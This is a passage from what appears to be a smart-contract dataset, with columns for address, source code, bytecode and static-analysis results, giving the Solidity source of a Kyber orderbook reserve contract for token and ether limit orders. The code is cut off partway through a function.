address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf1b1ea2482c701284e006cccd8c148a7c883bb6d
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/Utils2.sol contract Utils2 is Utils { /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(ERC20 token, address user) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return user.balance; else return token.balanceOf(user); } function getDecimalsSafe(ERC20 token) internal returns(uint) { if (decimals[token] == 0) { setDecimals(token); } return decimals[token]; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals) internal pure returns(uint) { require(srcAmount <= MAX_QTY); require(destAmount <= MAX_QTY); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount); } } } // File: contracts/permissionless/OrderIdManager.sol contract OrderIdManager { struct OrderIdData { uint32 firstOrderId; uint takenBitmap; } uint constant public NUM_ORDERS = 32; function fetchNewOrderId(OrderIdData storage freeOrders) internal returns(uint32) { uint orderBitmap = freeOrders.takenBitmap; uint bitPointer = 1; for (uint i = 0; i < NUM_ORDERS; ++i) { if ((orderBitmap & bitPointer) == 0) { freeOrders.takenBitmap = orderBitmap | bitPointer; return(uint32(uint(freeOrders.firstOrderId) + i)); } bitPointer *= 2; } revert(); } /// @dev mark order as free to use. function releaseOrderId(OrderIdData storage freeOrders, uint32 orderId) internal returns(bool) { require(orderId >= freeOrders.firstOrderId); require(orderId < (freeOrders.firstOrderId + NUM_ORDERS)); uint orderBitNum = uint(orderId) - uint(freeOrders.firstOrderId); uint bitPointer = uint(1) << orderBitNum; require(bitPointer & freeOrders.takenBitmap > 0); freeOrders.takenBitmap &= ~bitPointer; return true; } function allocateOrderIds( OrderIdData storage makerOrders, uint32 firstAllocatedId ) internal returns(bool) { if (makerOrders.firstOrderId > 0) { return false; } makerOrders.firstOrderId = firstAllocatedId; makerOrders.takenBitmap = 0; return true; } function orderAllocationRequired(OrderIdData storage freeOrders) internal view returns (bool) { if (freeOrders.firstOrderId == 0) return true; return false; } function getNumActiveOrderIds(OrderIdData storage makerOrders) internal view returns (uint numActiveOrders) { for (uint i = 0; i < NUM_ORDERS; ++i) { if ((makerOrders.takenBitmap & (uint(1) << i)) > 0) numActiveOrders++; } } } // File: contracts/permissionless/OrderListInterface.sol interface OrderListInterface { function getOrderDetails(uint32 orderId) public view returns (address, uint128, uint128, uint32, uint32); function add(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function remove(uint32 orderId) public returns (bool); function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function getFirstOrder() public view returns(uint32 orderId, bool isEmpty); function allocateIds(uint32 howMany) public returns(uint32); function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32); function addAfterId(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns (bool); function updateWithPositionHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns(bool, uint); } // File: contracts/permissionless/OrderListFactoryInterface.sol interface OrderListFactoryInterface { function newOrdersContract(address admin) public returns(OrderListInterface); } // File: contracts/permissionless/OrderbookReserveInterface.sol interface OrderbookReserveInterface { function init() public returns(bool); function kncRateBlocksTrade() public view returns(bool); } // File: contracts/permissionless/OrderbookReserve.sol contract FeeBurnerRateInterface { uint public kncPerEthRatePrecision; } interface MedianizerInterface { function peek() public view returns (bytes32, bool); } contract OrderbookReserve is OrderIdManager, Utils2, KyberReserveInterface, OrderbookReserveInterface { uint public constant BURN_TO_STAKE_FACTOR = 5; // stake per order must be xfactor expected burn amount. uint public constant MAX_BURN_FEE_BPS = 100; // 1% uint public constant MIN_REMAINING_ORDER_RATIO = 2; // Ratio between min new order value and min order value. uint public constant MAX_USD_PER_ETH = 100000; // Above this value price is surely compromised. uint32 constant public TAIL_ID = 1; // tail Id in order list contract uint32 constant public HEAD_ID = 2; // head Id in order list contract struct OrderLimits { uint minNewOrderSizeUsd; // Basis for setting min new order size Eth uint maxOrdersPerTrade; // Limit number of iterated orders per trade / getRate loops. uint minNewOrderSizeWei; // Below this value can't create new order. uint minOrderSizeWei; // below this value order will be removed. } uint public kncPerEthBaseRatePrecision; // according to base rate all stakes are calculated. struct ExternalContracts { ERC20 kncToken; // not constant. to enable testing while not on main net ERC20 token; // only supported token. FeeBurnerRateInterface feeBurner; address kyberNetwork; MedianizerInterface medianizer; // price feed Eth - USD from maker DAO. OrderListFactoryInterface orderListFactory; } //struct for getOrderData() return value. used only in memory. struct OrderData { address maker; uint32 nextId; bool isLastOrder; uint128 srcAmount; uint128 dstAmount; } OrderLimits public limits; ExternalContracts public contracts; // sorted lists of orders. one list for token to Eth, other for Eth to token. // Each order is added in the correct position in the list to keep it sorted. OrderListInterface public tokenToEthList; OrderListInterface public ethToTokenList; //funds data mapping(address => mapping(address => uint)) public makerFunds; // deposited maker funds. mapping(address => uint) public makerKnc; // for knc staking. mapping(address => uint) public makerTotalOrdersWei; // per maker how many Wei in orders, for stake calculation. uint public makerBurnFeeBps; // knc burn fee per order that is taken. //each maker will have orders that will be reused. mapping(address => OrderIdData) public makerOrdersTokenToEth; mapping(address => OrderIdData) public makerOrdersEthToToken; function OrderbookReserve( ERC20 knc, ERC20 reserveToken, address burner, address network, MedianizerInterface medianizer, OrderListFactoryInterface factory, uint minNewOrderUsd, uint maxOrdersPerTrade, uint burnFeeBps ) public { require(knc != address(0)); require(reserveToken != address(0)); require(burner != address(0)); require(network != address(0)); require(medianizer != address(0)); require(factory != address(0)); require(burnFeeBps != 0); require(burnFeeBps <= MAX_BURN_FEE_BPS); require(maxOrdersPerTrade != 0); require(minNewOrderUsd > 0); contracts.kyberNetwork = network; contracts.feeBurner = FeeBurnerRateInterface(burner); contracts.medianizer = medianizer; contracts.orderListFactory = factory; contracts.kncToken = knc; contracts.token = reserveToken; makerBurnFeeBps = burnFeeBps; limits.minNewOrderSizeUsd = minNewOrderUsd; limits.maxOrdersPerTrade = maxOrdersPerTrade; require(setMinOrderSizeEth()); require(contracts.kncToken.approve(contracts.feeBurner, (2**255))); //can only support tokens with decimals() API setDecimals(contracts.token); kncPerEthBaseRatePrecision = contracts.feeBurner.kncPerEthRatePrecision(); } ///@dev separate init function for this contract, if this init is in the C'tor. gas consumption too high. function init() public returns(bool) { if ((tokenToEthList != address(0)) && (ethToTokenList != address(0))) return true; if ((tokenToEthList != address(0)) || (ethToTokenList != address(0))) revert(); tokenToEthList = contracts.orderListFactory.newOrdersContract(this); ethToTokenList = contracts.orderListFactory.newOrdersContract(this); return true; } function setKncPerEthBaseRate() public { uint kncPerEthRatePrecision = contracts.feeBurner.kncPerEthRatePrecision(); if (kncPerEthRatePrecision < kncPerEthBaseRatePrecision) { kncPerEthBaseRatePrecision = kncPerEthRatePrecision; } } function getConversionRate(ERC20 src, ERC20 dst, uint srcQty, uint blockNumber) public view returns(uint) { require((src == ETH_TOKEN_ADDRESS) || (dst == ETH_TOKEN_ADDRESS)); require((src == contracts.token) || (dst == contracts.token)); require(srcQty <= MAX_QTY); if (kncRateBlocksTrade()) return 0; blockNumber; // in this reserve no order expiry == no use for blockNumber. here to avoid compiler warning. //user order ETH -> token is matched with maker order token -> ETH OrderListInterface list = (src == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint32 orderId; OrderData memory orderData; uint128 userRemainingSrcQty = uint128(srcQty); uint128 totalUserDstAmount = 0; uint maxOrders = limits.maxOrdersPerTrade; for ( (orderId, orderData.isLastOrder) = list.getFirstOrder(); ((userRemainingSrcQty > 0) && (!orderData.isLastOrder) && (maxOrders-- > 0)); orderId = orderData.nextId ) { orderData = getOrderData(list, orderId); // maker dst quantity is the requested quantity he wants to receive. user src quantity is what user gives. // so user src quantity is matched with maker dst quantity if (orderData.dstAmount <= userRemainingSrcQty) { totalUserDstAmount += orderData.srcAmount; userRemainingSrcQty -= orderData.dstAmount; } else { totalUserDstAmount += uint128(uint(orderData.srcAmount) * uint(userRemainingSrcQty) / uint(orderData.dstAmount)); userRemainingSrcQty = 0; } } if (userRemainingSrcQty != 0) return 0; //not enough tokens to exchange. return calcRateFromQty(srcQty, totalUserDstAmount, getDecimals(src), getDecimals(dst)); } event OrderbookReserveTrade(ERC20 srcToken, ERC20 dstToken, uint srcAmount, uint dstAmount); function trade( ERC20 srcToken, uint srcAmount, ERC20 dstToken, address dstAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(msg.sender == contracts.kyberNetwork); require((srcToken == ETH_TOKEN_ADDRESS) || (dstToken == ETH_TOKEN_ADDRESS)); require((srcToken == contracts.token) || (dstToken == contracts.token)); require(srcAmount <= MAX_QTY); conversionRate; validate; if (srcToken == ETH_TOKEN_ADDRESS) { require(msg.value == srcAmount); } else { require(msg.value == 0); require(srcToken.transferFrom(msg.sender, this, srcAmount)); } uint totalDstAmount = doTrade( srcToken, srcAmount, dstToken ); require(conversionRate <= calcRateFromQty(srcAmount, totalDstAmount, getDecimals(srcToken), getDecimals(dstToken))); //all orders were successfully taken. send to dstAddress if (dstToken == ETH_TOKEN_ADDRESS) { dstAddress.transfer(totalDstAmount); } else { require(dstToken.transfer(dstAddress, totalDstAmount)); } OrderbookReserveTrade(srcToken, dstToken, srcAmount, totalDstAmount); return true; } function doTrade( ERC20 srcToken, uint srcAmount, ERC20 dstToken ) internal returns(uint) { OrderListInterface list = (srcToken == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint32 orderId; OrderData memory orderData; uint128 userRemainingSrcQty = uint128(srcAmount); uint128 totalUserDstAmount = 0; for ( (orderId, orderData.isLastOrder) = list.getFirstOrder(); ((userRemainingSrcQty > 0) && (!orderData.isLastOrder)); orderId = orderData.nextId ) { // maker dst quantity is the requested quantity he wants to receive. user src quantity is what user gives. // so user src quantity is matched with maker dst quantity orderData = getOrderData(list, orderId); if (orderData.dstAmount <= userRemainingSrcQty) { totalUserDstAmount += orderData.srcAmount; userRemainingSrcQty -= orderData.dstAmount; require(takeFullOrder({ maker: orderData.maker, orderId: orderId, userSrc: srcToken, userDst: dstToken, userSrcAmount: orderData.dstAmount, userDstAmount: orderData.srcAmount })); } else { uint128 partialDstQty = uint128(uint(orderData.srcAmount) * uint(userRemainingSrcQty) / uint(orderData.dstAmount)); totalUserDstAmount += partialDstQty; require(takePartialOrder({ maker: orderData.maker, orderId: orderId, userSrc: srcToken, userDst: dstToken, userPartialSrcAmount: userRemainingSrcQty, userTakeDstAmount: partialDstQty, orderSrcAmount: orderData.srcAmount, orderDstAmount: orderData.dstAmount })); userRemainingSrcQty = 0; } } require(userRemainingSrcQty == 0 && totalUserDstAmount > 0); return totalUserDstAmount; } ///@param srcAmount is the token amount that will be payed. must be deposited before hand in the makers account. ///@param dstAmount is the eth amount the maker expects to get for his tokens. function submitTokenToEthOrder(uint128 srcAmount, uint128 dstAmount) public returns(bool) { return submitTokenToEthOrderWHint(srcAmount, dstAmount, 0); } function submitTokenToEthOrderWHint(uint128 srcAmount, uint128 dstAmount, uint32 hintPrevOrder) public returns(bool) { uint32 newId = fetchNewOrderId(makerOrdersTokenToEth[msg.sender]); return addOrder(false, newId, srcAmount, dstAmount, hintPrevOrder); } ///@param srcAmount is the Ether amount that will be payed, must be deposited before hand. ///@param dstAmount is the token amount the maker expects to get for his Ether. function submitEthToTokenOrder(uint128 srcAmount, uint128 dstAmount) public returns(bool) { return submitEthToTokenOrderWHint(srcAmount, dstAmount, 0); } function submitEthToTokenOrderWHint(uint128 srcAmount, uint128 dstAmount, uint32 hintPrevOrder) public returns(bool) { uint32 newId = fetchNewOrderId(makerOrdersEthToToken[msg.sender]); return addOrder(true, newId, srcAmount, dstAmount, hintPrevOrder); } ///@dev notice here a batch of orders represented in arrays. order x is represented by x cells of all arrays. ///@dev all arrays expected to the same length. ///@param isEthToToken per each order. is order x eth to token (= src is Eth) or vice versa. ///@param srcAmount per each order. source amount for order x. ///@param dstAmount per each order. destination amount for order x. ///@param hintPrevOrder per each order what is the order it should be added after in ordered list. 0 for no hint. ///@param isAfterPrevOrder per each order, set true if should be added in list right after previous added order. function addOrderBatch(bool[] isEthToToken, uint128[] srcAmount, uint128[] dstAmount, uint32[] hintPrevOrder, bool[] isAfterPrevOrder) public returns(bool) { require(isEthToToken.length == hintPrevOrder.length); require(isEthToToken.length == dstAmount.length); require(isEthToToken.length == srcAmount.length); require(isEthToToken.length == isAfterPrevOrder.length); address maker = msg.sender; uint32 prevId; uint32 newId = 0; for (uint i = 0; i < isEthToToken.length; ++i) { prevId = isAfterPrevOrder[i] ? newId : hintPrevOrder[i]; newId = fetchNewOrderId(isEthToToken[i] ? makerOrdersEthToToken[maker] : makerOrdersTokenToEth[maker]); require(addOrder(isEthToToken[i], newId, srcAmount[i], dstAmount[i], prevId)); } return true; } function updateTokenToEthOrder(uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount) public returns(bool) { require(updateTokenToEthOrderWHint(orderId, newSrcAmount, newDstAmount, 0)); return true; } function updateTokenToEthOrderWHint( uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount, uint32 hintPrevOrder ) public returns(bool) { require(updateOrder(false, orderId, newSrcAmount, newDstAmount, hintPrevOrder)); return true; } function updateEthToTokenOrder(uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount) public returns(bool) { return updateEthToTokenOrderWHint(orderId, newSrcAmount, newDstAmount, 0); } function updateEthToTokenOrderWHint( uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount, uint32 hintPrevOrder ) public returns(bool) { require(updateOrder(true, orderId, newSrcAmount, newDstAmount, hintPrevOrder)); return true; } function updateOrderBatch(bool[] isEthToToken, uint32[] orderId, uint128[] newSrcAmount, uint128[] newDstAmount, uint32[] hintPrevOrder) public returns(bool) { require(isEthToToken.length == orderId.length); require(isEthToToken.length == newSrcAmount.length); require(isEthToToken.length == newDstAmount.length); require(isEthToToken.length == hintPrevOrder.length); for (uint i = 0; i < isEthToToken.length; ++i) { require(updateOrder(isEthToToken[i], orderId[i], newSrcAmount[i], newDstAmount[i], hintPrevOrder[i])); } return true; } event TokenDeposited(address indexed maker, uint amount); function depositToken(address maker, uint amount) public { require(maker != address(0)); require(amount < MAX_QTY); require(contracts.token.transferFrom(msg.sender, this, amount)); makerFunds[maker][contracts.token] += amount; TokenDeposited(maker, amount); } event EtherDeposited(address indexed maker, uint amount); function depositEther(address maker) public payable { require(maker != address(0)); makerFunds[maker][ETH_TOKEN_ADDRESS] += msg.value; EtherDeposited(maker, msg.value); } event KncFeeDeposited(address indexed maker, uint amount); // knc will be staked per order. part of the amount will be used as fee. function depositKncForFee(address maker, uint amount) public { require(maker != address(0)); require(amount < MAX_QTY); require(contracts.kncToken.transferFrom(msg.sender, this, amount)); makerKnc[maker] += amount; KncFeeDeposited(maker, amount); if (orderAllocationRequired(makerOrdersTokenToEth[maker])) { require(allocateOrderIds( makerOrdersTokenToEth[maker], /* makerOrders */ tokenToEthList.allocateIds(uint32(NUM_ORDERS)) /* firstAllocatedId */ )); } if (orderAllocationRequired(makerOrdersEthToToken[maker])) { require(allocateOrderIds( makerOrdersEthToToken[maker], /* makerOrders */ ethToTokenList.allocateIds(uint32(NUM_ORDERS)) /* firstAllocatedId */ )); } } function withdrawToken(uint amount) public { address maker = msg.sender; uint makerFreeAmount = makerFunds[maker][contracts.token]; require(makerFreeAmount >= amount); makerFunds[maker][contracts.token] -= amount; require(contracts.token.transfer(maker, amount)); } function withdrawEther(uint amount) public { address maker = msg.sender; uint makerFreeAmount = makerFunds[maker][ETH_TOKEN_ADDRESS]; require(makerFreeAmount >= amount); makerFunds[maker][ETH_TOKEN_ADDRESS] -= amount; maker.transfer(amount); } function withdrawKncFee(uint amount) public { address maker = msg.sender; require(makerKnc[maker] >= amount); require(makerUnlockedKnc(maker) >= amount); makerKnc[maker] -= amount; require(contracts.kncToken.transfer(maker, amount)); } function cancelTokenToEthOrder(uint32 orderId) public returns(bool) { require(cancelOrder(false, orderId)); return true; } function cancelEthToTokenOrder(uint32 orderId) public returns(bool) { require(cancelOrder(true, orderId)); return true; } function setMinOrderSizeEth() public returns(bool) { //get eth to $ from maker dao; bytes32 usdPerEthInWei; bool valid; (usdPerEthInWei, valid) = contracts.medianizer.peek(); require(valid); // ensuring that there is no underflow or overflow possible, // even if the price is compromised uint usdPerEth = uint(usdPerEthInWei) / (1 ether); require(usdPerEth != 0); require(usdPerEth < MAX_USD_PER_ETH); // set Eth order limits according to price uint minNewOrderSizeWei = limits.minNewOrderSizeUsd * PRECISION * (1 ether) / uint(usdPerEthInWei); limits.minNewOrderSizeWei = minNewOrderSizeWei; limits.minOrderSizeWei = limits.minNewOrderSizeWei / MIN_REMAINING_ORDER_RATIO; return true; } ///@dev Each maker stakes per order KNC that is factor of the required burn amount. ///@dev If Knc per Eth rate becomes lower by more then factor, stake will not be enough and trade will be blocked. function kncRateBlocksTrade() public view returns (bool) { return (contracts.feeBurner.kncPerEthRatePrecision() > kncPerEthBaseRatePrecision * BURN_TO_STAKE_FACTOR); } function getTokenToEthAddOrderHint(uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(dstAmount >= limits.minNewOrderSizeWei); return tokenToEthList.findPrevOrderId(srcAmount, dstAmount); } function getEthToTokenAddOrderHint(uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(srcAmount >= limits.minNewOrderSizeWei); return ethToTokenList.findPrevOrderId(srcAmount, dstAmount); } function getTokenToEthUpdateOrderHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(dstAmount >= limits.minNewOrderSizeWei); uint32 prevId = tokenToEthList.findPrevOrderId(srcAmount, dstAmount); address add; uint128 noUse; uint32 next; if (prevId == orderId) { (add, noUse, noUse, prevId, next) = tokenToEthList.getOrderDetails(orderId); } return prevId; } function getEthToTokenUpdateOrderHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(srcAmount >= limits.minNewOrderSizeWei); uint32 prevId = ethToTokenList.findPrevOrderId(srcAmount, dstAmount); address add; uint128 noUse; uint32 next; if (prevId == orderId) { (add, noUse, noUse, prevId, next) = ethToTokenList.getOrderDetails(orderId); } return prevId; } function getTokenToEthOrder(uint32 orderId) public view returns ( address _maker, uint128 _srcAmount, uint128 _dstAmount, uint32 _prevId, uint32 _nextId ) { return tokenToEthList.getOrderDetails(orderId); } function getEthToTokenOrder(uint32 orderId) public view returns ( address _maker, uint128 _srcAmount, uint128 _dstAmount, uint32 _prevId, uint32 _nextId ) { return ethToTokenList.getOrderDetails(orderId); } function makerRequiredKncStake(address maker) public view returns (uint) { return(calcKncStake(makerTotalOrdersWei[maker])); } function makerUnlockedKnc(address maker) public view returns (uint) { uint requiredKncStake = makerRequiredKncStake(maker); if (requiredKncStake > makerKnc[maker]) return 0; return (makerKnc[maker] - requiredKncStake); } function calcKncStake(uint weiAmount) public view returns(uint) { return(calcBurnAmount(weiAmount) * BURN_TO_STAKE_FACTOR); } function calcBurnAmount(uint weiAmount) public view returns(uint) { return(weiAmount * makerBurnFeeBps * kncPerEthBaseRatePrecision / (10000 * PRECISION)); } function calcBurnAmountFromFeeBurner(uint weiAmount) public view returns(uint) { return(weiAmount * makerBurnFeeBps * contracts.feeBurner.kncPerEthRatePrecision() / (10000 * PRECISION)); } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getEthToTokenMakerOrderIds(address maker) public view returns(uint32[] orderList) { OrderIdData storage makerOrders = makerOrdersEthToToken[maker]; orderList = new uint32[](getNumActiveOrderIds(makerOrders)); uint activeOrder = 0; for (uint32 i = 0; i < NUM_ORDERS; ++i) { if ((makerOrders.takenBitmap & (uint(1) << i) > 0)) orderList[activeOrder++] = makerOrders.firstOrderId + i; } } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getTokenToEthMakerOrderIds(address maker) public view returns(uint32[] orderList) { OrderIdData storage makerOrders = makerOrdersTokenToEth[maker]; orderList = new uint32[](getNumActiveOrderIds(makerOrders)); uint activeOrder = 0; for (uint32 i = 0; i < NUM_ORDERS; ++i) { if ((makerOrders.takenBitmap & (uint(1) << i) > 0)) orderList[activeOrder++] = makerOrders.firstOrderId + i; } } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getEthToTokenOrderList() public view returns(uint32[] orderList) { OrderListInterface list = ethToTokenList; return getList(list); } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getTokenToEthOrderList() public view returns(uint32[] orderList) { OrderListInterface list = tokenToEthList; return getList(list); } event NewLimitOrder( address indexed maker, uint32 orderId, bool isEthToToken, uint128 srcAmount, uint128 dstAmount, bool addedWithHint ); function addOrder(bool isEthToToken, uint32 newId, uint128 srcAmount, uint128 dstAmount, uint32 hintPrevOrder) internal returns(bool) { require(srcAmount < MAX_QTY); require(dstAmount < MAX_QTY); address maker = msg.sender; require(secureAddOrderFunds(maker, isEthToToken, srcAmount, dstAmount)); require(validateLegalRate(srcAmount, dstAmount, isEthToToken)); bool addedWithHint = false; OrderListInterface list = isEthToToken ? ethToTokenList : tokenToEthList; if (hintPrevOrder != 0) { addedWithHint = list.addAfterId(maker, newId, srcAmount, dstAmount, hintPrevOrder); } if (!addedWithHint) { require(list.add(maker, newId, srcAmount, dstAmount)); } NewLimitOrder(maker, newId, isEthToToken, srcAmount, dstAmount, addedWithHint); return true; } event OrderUpdated( address indexed maker, bool isEthToToken, uint orderId, uint128 srcAmount, uint128 dstAmount, bool updatedWithHint ); function updateOrder(bool isEthToToken, uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount, uint32 hintPrevOrder) internal returns(bool) { require(newSrcAmount < MAX_QTY); require(newDstAmount < MAX_QTY); address maker; uint128 currDstAmount; uint128 currSrcAmount; uint32 noUse; uint noUse2; require(validateLegalRate(newSrcAmount, newDstAmount, isEthToToken)); OrderListInterface list = isEthToToken ? ethToTokenList : tokenToEthList; (maker, currSrcAmount, currDstAmount, noUse, noUse) = list.getOrderDetails(orderId); require(maker == msg.sender); if (!secureUpdateOrderFunds(maker, isEthToToken, currSrcAmount, currDstAmount, newSrcAmount, newDstAmount)) { return false; } bool updatedWithHint = false; if (hintPrevOrder != 0) { (updatedWithHint, noUse2) = list.updateWithPositionHint(orderId, newSrcAmount, newDstAmount, hintPrevOrder); } if (!updatedWithHint) { require(list.update(orderId, newSrcAmount, newDstAmount)); } OrderUpdated(maker, isEthToToken, orderId, newSrcAmount, newDstAmount, updatedWithHint); return true; } event OrderCanceled(address indexed maker, bool isEthToToken, uint32 orderId, uint128 srcAmount, uint dstAmount); function cancelOrder(bool isEthToToken, uint32 orderId) internal returns(bool) { address maker = msg.sender; OrderListInterface list = isEthToToken ? ethToTokenList : tokenToEthList; OrderData memory orderData = getOrderData(list, orderId); require(orderData.maker == maker); uint weiAmount = isEthToToken ? orderData.srcAmount : orderData.dstAmount; require(releaseOrderStakes(maker, weiAmount, 0)); require(removeOrder(list, maker, isEthToToken ? ETH_TOKEN_ADDRESS : contracts.token, orderId)); //funds go back to makers account makerFunds[maker][isEthToToken ? ETH_TOKEN_ADDRESS : contracts.token] += orderData.srcAmount; OrderCanceled(maker, isEthToToken, orderId, orderData.srcAmount, orderData.dstAmount); return true; } ///@param maker is the maker of this order ///@param isEthToToken which order type the maker is updating / adding ///@param srcAmount is the orders src amount (token or ETH) could be negative if funds are released. function bindOrderFunds(address maker, bool isEthToToken, int srcAmount) internal returns(bool) { address fundsAddress = isEthToToken ? ETH_TOKEN_ADDRESS : contracts.token; if (srcAmount < 0) { makerFunds[maker][fundsAddress] += uint(-srcAmount); } else { require(makerFunds[maker][fundsAddress] >= uint(srcAmount)); makerFunds[maker][fundsAddress] -= uint(srcAmount); } return true; } ///@param maker is the maker address ///@param weiAmount is the wei amount inside order that should result in knc staking function bindOrderStakes(address maker, int weiAmount) internal returns(bool) { if (weiAmount < 0) { uint decreaseWeiAmount = uint(-weiAmount); if (decreaseWeiAmount > makerTotalOrdersWei[maker]) decreaseWeiAmount = makerTotalOrdersWei[maker]; makerTotalOrdersWei[maker] -= decreaseWeiAmount; return true; } require(makerKnc[maker] >= calcKncStake(makerTotalOrdersWei[maker] + uint(weiAmount))); makerTotalOrdersWei[maker] += uint(weiAmount); return true; } ///@dev if totalWeiAmount is 0 we only release stakes. ///@dev if totalWeiAmount == weiForBurn. all staked amount will be burned. so no knc returned to maker ///@param maker is the maker address ///@param totalWeiAmount is total wei amount that was released from order - including taken wei amount. ///@param weiForBurn is the part in order wei amount that was taken and should result in burning. function releaseOrderStakes(address maker, uint totalWeiAmount, uint weiForBurn) internal returns(bool) { require(weiForBurn <= totalWeiAmount); if (totalWeiAmount > makerTotalOrdersWei[maker]) { makerTotalOrdersWei[maker] = 0; } else { makerTotalOrdersWei[maker] -= totalWeiAmount; } if (weiForBurn == 0) return true; uint burnAmount = calcBurnAmountFromFeeBurner(weiForBurn); require(makerKnc[maker] >= burnAmount); makerKnc[maker] -= burnAmount; return true; } ///@dev funds are valid only when required knc amount can be staked for this order. function secureAddOrderFunds(address maker, bool isEthToToken, uint128 srcAmount, uint128 dstAmount) internal returns(bool) { uint weiAmount = isEthToToken ? srcAmount : dstAmount; require(weiAmount >= limits.minNewOrderSizeWei); require(bindOrderFunds(maker, isEthToToken, int(srcAmount))); require(bindOrderStakes(maker, int(weiAmount))); return true; } ///@dev funds are valid only when required knc amount can be staked for this order. function secureUpdateOrderFunds(address maker, bool isEthToToken, uint128 prevSrcAmount, uint128 prevDstAmount, uint128 newSrcAmount, uint128 newDstAmount) internal returns(bool) { uint weiAmount = isEthToToken ? newSrcAmount : newDstAmount; int weiDiff = isEthToToken ? (int(newSrcAmount) - int(prevSrcAmount)) : (int(newDstAmount) - int(prevDstAmount)); require(weiAmount >= limits.minNewOrderSizeWei); require(bindOrderFunds(maker, isEthToToken, int(newSrcAmount) - int(prevSrcAmount))); require(bindOrderStakes(maker, weiDiff)); return true; } event FullOrderTaken(address maker, uint32 orderId, bool isEthToToken); function takeFullOrder( address maker, uint32 orderId, ERC20 userSrc, ERC20 userDst, uint128 userSrcAmount, uint128 userDstAmount ) internal returns (bool) { OrderListInterface list = (userSrc == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; //userDst == maker source require(removeOrder(list, maker, userDst, orderId)); FullOrderTaken(maker, orderId, userSrc == 